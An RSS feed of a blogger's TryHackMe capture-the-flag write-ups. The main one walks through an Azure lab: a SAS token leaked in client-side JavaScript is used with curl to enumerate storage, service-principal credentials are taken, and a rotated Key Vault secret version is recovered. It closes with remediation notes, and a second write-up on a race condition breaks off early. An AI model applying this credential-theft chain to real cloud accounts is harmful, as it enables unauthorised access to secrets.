<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>TryHackMe : CryptoCabana Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 16:38:58 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-cryptocabana-writeup-4hel</link>
      <guid>https://dev.to/exploitnotes/tryhackme-cryptocabana-writeup-4hel</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;CryptoCabana is a fake crypto-backup service hosted as an Azure Static Website. The attack path chains together four separate misconfigurations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A low-privilege Azure user with only &lt;code&gt;Reader&lt;/code&gt; on one resource group&lt;/li&gt;
&lt;li&gt;A publicly exposed Storage Account SAS token leaked in client-side JavaScript&lt;/li&gt;
&lt;li&gt;Service Principal credentials sitting unprotected in that same storage account&lt;/li&gt;
&lt;li&gt;A Key Vault secret that was "rotated" but never purged, leaving the old version recoverable&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of these are exotic. Each one is a common real-world Azure mistake, and together they turn a read-only foothold into full compromise of the target's secrets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Confirm the Starting Foothold
&lt;/h2&gt;

&lt;p&gt;The CTF hands you an authenticated low-privilege user. First move on any Azure engagement: figure out exactly what that identity can touch.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az account show
az role assignment list &lt;span class="nt"&gt;--assignee&lt;/span&gt; usr-08044275@thmctf.onmicrosoft.com &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Principal                            Role    Scope
-----------------------------------  ------  -------------------------------------------------------------------------------------
usr-08044275@thmctf.onmicrosoft.com  Reader  /subscriptions/2492269a-2948-46fd-aae3-68c9b066443a/resourceGroups/rg-cloudshell-only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Reader&lt;/strong&gt; on a single resource group called &lt;code&gt;rg-cloudshell-only&lt;/code&gt;. Nothing interesting lives there - it's a dead end by design. This tells us the real path in isn't through IAM privilege at all; it's through something exposed outside of Azure RBAC entirely, like a public web endpoint.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Find the Public Static Website
&lt;/h2&gt;

&lt;p&gt;The resource group name (&lt;code&gt;cryptocabana-rg&lt;/code&gt;) and the CTF's crypto-wallet theming point toward a storage account serving a static site. Static websites hosted on Azure Storage are public by default once &lt;code&gt;$web&lt;/code&gt; is enabled - no auth required to view them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns a "CryptoCabana" landing page: a fake seed-phrase backup tool. Classic social-engineering bait for the fictional scenario, but for us it's just an entry point. The page loads &lt;code&gt;app.js&lt;/code&gt;, so that's the next thing to pull.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;STORAGE_ACCOUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cryptocabanaf5scjagc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BACKUPS_CONTAINER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;backups&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BACKUP_SAS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;This is the actual vulnerability.&lt;/strong&gt; A SAS (Shared Access Signature) token is embedded directly in public client-side JavaScript. SAS tokens are bearer credentials - anyone who has the string has the access it grants, no login needed. This one has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ss=b&lt;/code&gt; - scoped to Blob service&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;srt=sco&lt;/code&gt; - applies to service, container, and object level&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sp=rl&lt;/code&gt; - &lt;strong&gt;read + list&lt;/strong&gt; permissions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;se=2099-12-31&lt;/code&gt; - expires in the year 2099 (i.e., effectively never)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read + list, account-wide, forever. That's a huge blast radius for a token meant only to let a browser &lt;code&gt;PUT&lt;/code&gt; a backup blob.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Enumerate the Storage Account with the Leaked SAS
&lt;/h2&gt;

&lt;p&gt;With &lt;code&gt;sp=rl&lt;/code&gt; we can list every container, not just &lt;code&gt;backups&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three containers come back: &lt;code&gt;$web&lt;/code&gt; (the site itself), &lt;code&gt;backups&lt;/code&gt; (empty - no one's fallen for the phishing yet), and &lt;strong&gt;&lt;code&gt;vault&lt;/code&gt;&lt;/strong&gt; - not referenced anywhere in the site's own code. That's worth listing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&amp;amp;comp=list&amp;amp;sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Blobs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Blob&amp;gt;&amp;lt;Name&amp;gt;&lt;/span&gt;backup-service-account.json&lt;span class="nt"&gt;&amp;lt;/Name&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/Blob&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Blob&amp;gt;&amp;lt;Name&amp;gt;&lt;/span&gt;seed_phrase.txt&lt;span class="nt"&gt;&amp;lt;/Name&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/Blob&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Blobs&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both are worth pulling. &lt;code&gt;seed_phrase.txt&lt;/code&gt; is in-universe flavor (a decoy "wallet" secret). &lt;code&gt;backup-service-account.json&lt;/code&gt; is the real prize:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_secret"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_vault_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ccabana-kv-f5scjagc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_vault_uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://ccabana-kv-f5scjagc.vault.azure.net/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tenant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full Service Principal credentials, including a pointer straight to a Key Vault. The IT note is almost apologetic about it - "rotate this if it ever leaves the vault" is exactly the mistake that just happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Authenticate as the Service Principal
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az login &lt;span class="nt"&gt;--service-principal&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--username&lt;/span&gt; dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--password&lt;/span&gt; &lt;span class="s1"&gt;'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tenant&lt;/span&gt; 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This swaps us from a Reader-only human account to whatever this backup automation identity is actually scoped to - almost certainly broader access to the Key Vault it points at.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Hit a Wall on Key Vault RBAC
&lt;/h2&gt;

&lt;p&gt;The obvious next move is grabbing &lt;code&gt;master-key&lt;/code&gt; straight away:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; master-key &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;(Forbidden)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Caller&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;authorized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;perform&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;resource.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Action:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'Microsoft.KeyVault/vaults/secrets/getSecret/action'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Inner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;error:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ForbiddenByRbac"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vault uses &lt;strong&gt;RBAC authorization mode&lt;/strong&gt;, not the older vault access-policy model, and this SP has no role assignment on it - &lt;code&gt;az role assignment list --assignee dbcf2923-...&lt;/code&gt; comes back empty. So the SP is real, but it isn't blanket-authorized on the vault. The automation account was probably scoped narrowly to specific secrets, not &lt;code&gt;master-key&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Rather than fight the RBAC wall on &lt;code&gt;master-key&lt;/code&gt;, try what the SP &lt;em&gt;can&lt;/em&gt; read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret list &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name         Expires
-----------  -------------------------
key-shard-1
key-shard-2
key-shard-3
master-key   2020-01-01T00:00:00+00:00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;master-key&lt;/code&gt; is expired anyway - a dead end even if it were readable. The &lt;code&gt;key-shard-*&lt;/code&gt; naming is the real hint: the flag is likely split across three secrets meant to be concatenated.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-1 &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;span class="c"&gt;# [REDACTED - first flag fragment]&lt;/span&gt;

az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-3 &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;span class="c"&gt;# [REDACTED - last flag fragment]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two of three shards, no RBAC error this time - so the SP does have read access to these specific secrets. &lt;code&gt;key-shard-2&lt;/code&gt; is where it gets interesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not a shard value at all - a note left by whoever rotated the secret after realizing the SP credentials had leaked. That phrasing ("recoverable if you know where to look") is a direct pointer to &lt;strong&gt;secret versioning&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: Recover the Rotated Secret Version
&lt;/h2&gt;

&lt;p&gt;Key Vault never overwrites a secret in place - every &lt;code&gt;set-secret&lt;/code&gt; call creates a new &lt;strong&gt;version&lt;/strong&gt;, and old versions stay readable (as long as they haven't been purged) to anyone with &lt;code&gt;get&lt;/code&gt; permission on the secret name. Rotating a secret doesn't erase its history.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret list-versions &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;-o&lt;/span&gt; json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"attributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-28T01:05:05+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".../secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"attributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-28T01:05:07+00:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".../secrets/key-shard-2/c922c422ffb34671a902389c372314f1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two versions, two seconds apart - the original, then the rotation. The current &lt;code&gt;key-shard-2&lt;/code&gt; (the one returned by default when you don't specify a version) is the one holding the note. The &lt;strong&gt;older&lt;/strong&gt; version, &lt;code&gt;3d6492d2c6f74123bc754a9ded22b2a0&lt;/code&gt;, is the pre-rotation value. Fetch a specific version by passing the full versioned resource ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--id&lt;/span&gt; &lt;span class="s2"&gt;"https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; value &lt;span class="nt"&gt;-o&lt;/span&gt; tsv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED - middle flag fragment]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 7: Assemble the Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key-shard-1: THM{n0t_ur
key-shard-2 (old version): [REDACTED]
key-shard-3: ur_c01ns!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;THM{█████████████████████████}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Flag redacted per platform policy - concatenate the three shards above in order to reproduce it yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Misconfiguration&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SAS in &lt;code&gt;app.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Long-lived, account-wide &lt;code&gt;read+list&lt;/code&gt; SAS token hardcoded in public JS&lt;/td&gt;
&lt;td&gt;Anyone visiting the site can enumerate and read every container/blob&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;vault&lt;/code&gt; container&lt;/td&gt;
&lt;td&gt;Sensitive files stored in a container reachable by an over-scoped SAS&lt;/td&gt;
&lt;td&gt;SP credentials exposed to anyone with the SAS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key Vault RBAC&lt;/td&gt;
&lt;td&gt;SP granted read on specific secrets but not scoped tightly (or old versions left unpurged)&lt;/td&gt;
&lt;td&gt;Rotated secret's pre-leak value still fully recoverable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;master-key&lt;/code&gt; expiry&lt;/td&gt;
&lt;td&gt;Secret expired instead of being removed/rotated with purge&lt;/td&gt;
&lt;td&gt;Dead end here, but a good reminder that "expired" != "inaccessible" for anyone who did have rights&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Remediation Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never embed SAS tokens in client-side code. If a SAS-based upload flow is required, generate short-lived, narrowly-scoped tokens server-side per request.&lt;/li&gt;
&lt;li&gt;SAS tokens should carry the minimum permission set and a realistic expiry - &lt;code&gt;se=2099-12-31&lt;/code&gt; defeats the purpose of using a SAS at all.&lt;/li&gt;
&lt;li&gt;Treat any credential that touched a public endpoint as compromised. Rotating a Key Vault secret is not enough on its own - &lt;strong&gt;purge old versions&lt;/strong&gt; (&lt;code&gt;az keyvault secret purge&lt;/code&gt;, or enable purge protection with a deliberate versioning policy) if the goal is to actually invalidate the leaked value.&lt;/li&gt;
&lt;li&gt;Apply least-privilege RBAC on Key Vault secrets per identity, and periodically audit &lt;code&gt;az role assignment list&lt;/code&gt; for service principals that have outlived their original purpose.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Towel on the Sunbed Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 14:12:34 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-towel-on-the-sunbed-writeup-3mn2</link>
      <guid>https://dev.to/exploitnotes/tryhackme-towel-on-the-sunbed-writeup-3mn2</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Ponzi Portfolio is a Node.js/Express "staking rewards" web app with a&lt;br&gt;
24-hour cooldown on claiming a reward. The &lt;code&gt;/claim&lt;/code&gt; endpoint has a classic&lt;br&gt;
check-then-act race condition: it checks whether the claim window has&lt;br&gt;
elapsed, then updates the balance, without doing either atomically. Firing&lt;br&gt;
many concurrent requests at &lt;code&gt;/claim&lt;/code&gt; lets several of them pass the&lt;br&gt;
eligibility check before any of them commit their balance update, so&lt;br&gt;
